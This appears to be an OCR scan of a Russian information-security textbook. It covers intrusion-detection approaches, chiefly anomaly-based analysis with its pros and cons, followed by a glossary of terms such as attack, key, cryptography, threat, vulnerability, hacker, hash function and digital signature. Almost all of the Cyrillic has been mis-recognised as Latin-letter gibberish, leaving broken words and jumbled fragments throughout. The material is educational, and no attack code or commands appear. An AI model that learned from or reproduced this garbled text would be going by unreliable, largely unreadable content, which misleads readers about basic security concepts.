LLRALLOR N4 Lwh) Y o)

— HEKOTOPBIE THIHL ATaKk MOryT OnITb OGHAPYXKEHBI TONBKO
ITHM METOAOM.

OTpHuaTeIbHBIC CTOPOHBKL:
— ANTOPHUTMBbI PACHO3HABAHHA MOryT MOTPeOOBATH TOHKOH
JOTIOTHATENbHOH HACTPO#KI.

3. AHanu3 Ha OCHOBE aHOMAJTHii .

Ilpeanasnaden He A YSTKOTO BBISIBICHHA aTak, a JIA Onpc-
JeNeHust NMOXOIPUTENBHON AKTHBHOCTH, OTIHYAIOMEHCH OT HOD
maneHOi. OcHoBHAas npobrema METOAA 3aKMIOYAETCA B TOM, WTOOL!
ONPEACNUT KPUTEPHIX HOpMATBHOH axTusHOCTH. Heobxommmo Tax
7K€ YCTAHOBHTH JOMYCTHMEIC OTKJIOHCHHUS OT HOPMAIBHOrO TpaduKn,
KOTOpHI€E €Ie He OYAyT CIUTaThCA ATAKOM.

Tloaxarteropueit Takoro Meroaa Oyer aHanM3 HA OCHOBE PO
Gmnei, Kora HOpMaNbHOE NOBSACHHE ONPEACISETCH I OTACTBHNIN
cyObexToB (HONB30BaTENCH/CHCTEM).

HHoraa sneMeHTH TaKOro aHaNmKH3a BCTPEYAlOTCSA M B JPYrins
METOJAX, CKAKEM, B PacIIU(POBKE IPOTOKONA, KOTAA BHIABICH Slic
MCHT, HE NPHHAUICKAIHH NPETONPCACICHHRIM POTOKONAM Mt
HAPYHIAIOIMH TIPABAJIA MCIONb30BaHHA MPOTOKONOB.

CucreMbl, OCHOBaHHBIC HA METO/IC AHOMANNI, CIMTAIOTCH A0«
TATOYHO MEPCTIEKTUBHHMH, HO CIIE PA3BHBAIOIIMMUCH W HAXONAIN
MHCS B CTa/{H¥ MCCICAOBaHNA.
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Honowwrennupe CTOPOHBL;

— KOppCKTHO Hacrpoe 5
HHEIH anay
ADKE RCHIBCCTHMIC aragy H3aTOP NOBBOMHT BEIENSTE

He ToTpe6 .
IO BBOAY HOBBIX CHTHATYD 1 npasy ar};ir AOHONHUTEMLHON pabors

Ormpunarcisnpe CTOPOHHI:

METOA0B (u, cooTBeTCTBEHNO, CHCTEM):
~ Ha OCHOBe CHrHATYp (06
a3
f0TCA IepBBIC TPH MeTOz; PASNOB W Npasum), xyna prmIOU-

— Ha OCHOBE aHOMa Tpi.
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IEPEYEHD HCTIOJb3YEMBIX ONPEAEJEHUHA

ATaKa — 370 ACHCTBHE, IPEANPHHAMACMOC 310yMBIINIICHHH-
KOM, KOTOPOE 3aKITIOYAETCA B TOUCKE M HCTOIB30BAHMH YA3BHMOCTH.

JemmppoBanue — HPOLECC «BITOMA» mudpoTeKcTa ¢ LC-
JBIO MOMYMCHHS KITHOYa.

3amuTa HHGOPMALHH — 3TO KOMIUICKC MCP, HAIPABICHHBIX
HA NPEAOTBPAMIEHHE YTPaThl HH(OPMAIWH, OrPAHUCHHE JOCTYNA K
xon(uAcHIMATEHOH HHOPMAIA B 0OCCIIeUeHNS paborocriocoOHo-
crv iHGOPMAITHOHHBIX CHCTEM.

Vndopmanuonuas Ge3onacHoCT, — 3TO KOMIUICKC MEpO-
npusTHi, 00eCTICUMBAIOIMI I oxparpiBacMoii UM wHbOPMALHH
CAeAYIOmEE:

— HEeROCTHOCTS ¥ COXPAHHOCTh HHGOpMALHY;

— HEAOCTYNHOCTH KOH(MHACHIMANLHOH HHPOPMAUMH AL TIO-
CTOPOHHMX JIHIT;

— JOCTYNHOCTS M PabOTOCTIOCOOHOCTb  HH(OPMALMOHHBIX
CHCTEM B 33J2HHBIH EPHOJ BPEMCHH.

— yqu’

— HEOTPEKAEMOCTH (AIICILIHPYEMOCTE).

Knuentsl — OPHKIAXHEIC OPOTrPaMMBI, NPEAHAZHATCHHBIC
IS YCTAHOBNEHHS COCAMHEHHS € KOMIBIOTEPAMHU CETH € LEIbIO MO~
AydeHus HyXHOH HE(OpMaHH. }

K04 — 3T0 BaXHEHIIIiA KOMIOHCHT MU(pa, OTBEHAOMUH
3a BHIOOp npeoOpa3oBaHus, NPHMEHAEMOrO A mudpoBaHys KOH-
xperHoro coobmenns. OOBYHO X0 NPEACTABIACT coDoii HEKOTO-
PyI0 GYKBEHHYIO HUIH YHCIIOBYIO IIOC/IEAOBATENBHOCTE, KOTOpAd Kak
6bl «HACTPAHBAET» ANTOPHTM MMPPOBAHUS.

Kpunrorpadus — Hayka O CO3AHUM mupoB H METOAAX
mrhpoBaHKA HHPOpMALHH.

Kpuntocncrema (mmdpocucrema) — napa ajropuTMos
mmdposaHus ¥ pacmuppoBaHHUS.
OGecneuenne ayreHTnuKanuu — paspaborka METOXOE

MOATBEPKACHNAS NOMLTMHHOCTH CTOPOH (uaenTndUKaLHS) H camoi
und)OpMaLH B MPOLECCS HH(OPMANMOHHOIO B3AUMOACHCTBHS. Hu-
dopmarms, nepesapacmas 10 KaHajly CBA3H, JODKHA OBITh AyTCHTH-
¢HIEpoBaHa O HCTOMHAKY, BPEMCHH CO3JAHHA, COACPMAHMIO Jak-
HBIX, BPEMEHH IICPECHUIKH U T. I
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Obcencacnue neocHopuMocTH (HEBOIMOKHOCTH 0TKA3A OT
aBTopcina) HPCJOTBPALICHHE BO3MOXKHOCTH OTKa3a CyOBExToB
OT HCKOTOPLX 1 COBCPIICHHBIX MMM ACHCTRUIA.

ObGccuenenne ueIOCTHOCTH ~— TapaHTHPOBAHUE HEBO3MOX-
HOCTH NCCAIKIIMOHUPOBAHHOTO H3MeHEHMs uubopmarun. s ra-
PaHTHUH HCHOCTHOCTH HEOOXOAMM MPOCTOH H HAJCHKHBIH KPHTEPHI
obBapyxcHns HOOBIX MAHWITYIAOMH C JaHHBIMH. MaHUITysMH C
JAHHBIMH BKJIOHAIOT BCTABKY, YAAJICHHUE H 3aMCHY.

HonxTuka nrpopManonHoii GesonacHocTH — 310 Habop
tdopmanbHBIX  (OQHUMATIBLHO YTBEPXKACHHBIX MO0 TPaIMLHOHHO
CNOXKHBIIMXCH) NPABHJ, KOTOPHIE PErIAMEHTHPYIOT (DYHKIHOHMPO-
BaHHE MEXAHH3MOB HH(OPMAIMOHHOH Oe30MaCHOCTH.

Ilporoxos — 3TO pPacUpEAEICHHBIH ANTOPHTM, OMPCIACIAIO-
Ui NOCIEAOBATENLHOCTL ACHCTBHI KKAOH B3 CTOPOH.

Pacuudposanue — npouecc ripeoGpazoBanus mupporekcra
B OTKPHITHI TEKCT.

CepBepbr — NPUKIAIHBIC ITPOrPAMMBI, NPEJHASHAYCHHBIC
TS YCTAHOBJICHHA CBA3H C KIIHCHTAMH, ITOMYYSHHS OT KIMCHTOB 3a-
NpoCOB H OTIPABKH OTBETOB. v

Creranorpagus — Hayxa 0 MeToAax COKpaITHs (paxra or-
npaBKy HHGOPMANHY WITH €€ HAIMYHS HA HOCHTENC.

Toxen — YCTPOHCTBO, B KOTOPOM XPAHHTHCH VHHKAILHEIM
TapaMeTp, HCIIONb3YEMbIH it MACHTH(HKALNY BIAACTBIA B CHCTE-
Me.

VYrpoza fezonacnocTy — 310 NOTEHUMANEHO ROIMONCHOE
nporcecTBHE (CIy4aiHOE WM TIPESAHAMEPCHHOE), KOTOPOS MOXET
OKA3aTh HEXKENATCIBHOE BO3ACHCTBHE HA CaMy CHCTEMY, @ TaKoKe Ha
XpaHAIYIOCH B Hell HudopMaimo.

Ya3BHMOCTb — 3TO HEKOTOpast HEYAAuHas XAPAKTEPHCTHKA
KOMNBIOTEPHOH CHCTEMHI, ACTAIOWAs BO3MOXKHBIM BO3HHKHOBEHHE
yrpO3HL.

Xaxcep. 1. MuauBuayyMm, KOTOPBI NOMY4aeT YAOBOILCTBHE OT
H3yJeHUs AcTaneii (QyHKIHOHHPOBAHHS KOMITBIOTCPHBIX CHCTEM H OT
PaCIIHPEHUA HX BO3MOXKHOCTEH, B OTIHIHE OT OONpNIMHCTBA NONb-
30BaTCHEH KOMITBIOTECPOB, KOTOPHIE NPEANIOYMTAKT 3HATH TOMBKO
HeoOXoAuMEIH MUHUMYM. 2. DHTY3HACT HPOrPAMMHPOBAHHA; HHIAH~
BH/yyM, MONy9JalomyH YJOBONBCTBHE OT CaMOTO HpOLecca mpo-
TPaMMHPOBAHNS, 3 HE OT TEOPECTHIUPOBAHUA 110 3TOMY IIOBOXY.
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Xow-ysxupu — 370 QyHKiM, NPEAHA3HAUCHHBIC UL
«CKATHS» TIPOM3BONBHOTO COOOMEHHs Wi Habopa ARHHBIX, 3arlH-
CAHHOTO, KaK IPABUJIO, B ABOHYHOM andasuic, B HEKOTOPYIO 6141*0-
BYI0 KOMOHHALMIO (PHKCHPOBAHHOM JJIHHEL, HA3LIBACMYIO CBCPTKOM.

Oudpopas noanucy, 1Lt €co0DILCHUS ABIAETCA YUCIIOM, 3a-
BHCSITMM OT CamoOro COOOIIEHHs # OT HEKOTOPOTO TAUHOro, H3BCCT-
HOIO TONBKO MOTHCHBAIOMEMY CyObekTy, kmoua. Hupposasd nox-
MCh AOIDKHA GBITH JICTKO MPOBEPSEMOH M MPOBEPKA MOATMCH HE
IOJDKHA TPebOBaTh JOCTYNA K TAHHOMY KIIOYY. Iudp — cemeict-
BO OGPATHMEIX IPEOGPA3OBAHHH, KaKIO0C M3 KOTOPHIX OMPEACIACTCH
HEKOTOPHIM DIAPAMCTPOM, HA3KIBACMBIM KIHOUOM, 2 TAKKE TOPAAKOM
MpUMEHEHHUs JAHHOrO [Peobpa3oBaHus, HA3LIBACMEIM  DPEKHMOM

mupoBaHH.
Mingponanne — NMpONECC I co6paz0oBanms CTKPLITOrC TCK-

CTa B HCKKEHHYIO (GopMy — mu(poTeKcT.

Illudposanue (obecreuenne KOHPUACHUHMATLHOCTH) —
pemeHHe IpobaeMsl 3alHTEL uHGOpMALMK OT O3HAKOMIICHHA C €€
COREP/KAHMEM CO CTOPOHBI JIHLI, HC HMCIOIMX NpaBa AOCTYIA K HEH.
B 32BHCHMOCTH OT KOHTEKCTA BMECTO TEPMHHA <«KOHGHACHIMATL-
Has» WHGOPMALMS MOTYT BHICTYTIATh TEPMUHbL «CEKPCTHASD, «1aCT-
Has», «OrPAHIYEHHOro AOCTymna» HHpOpMAIHA.
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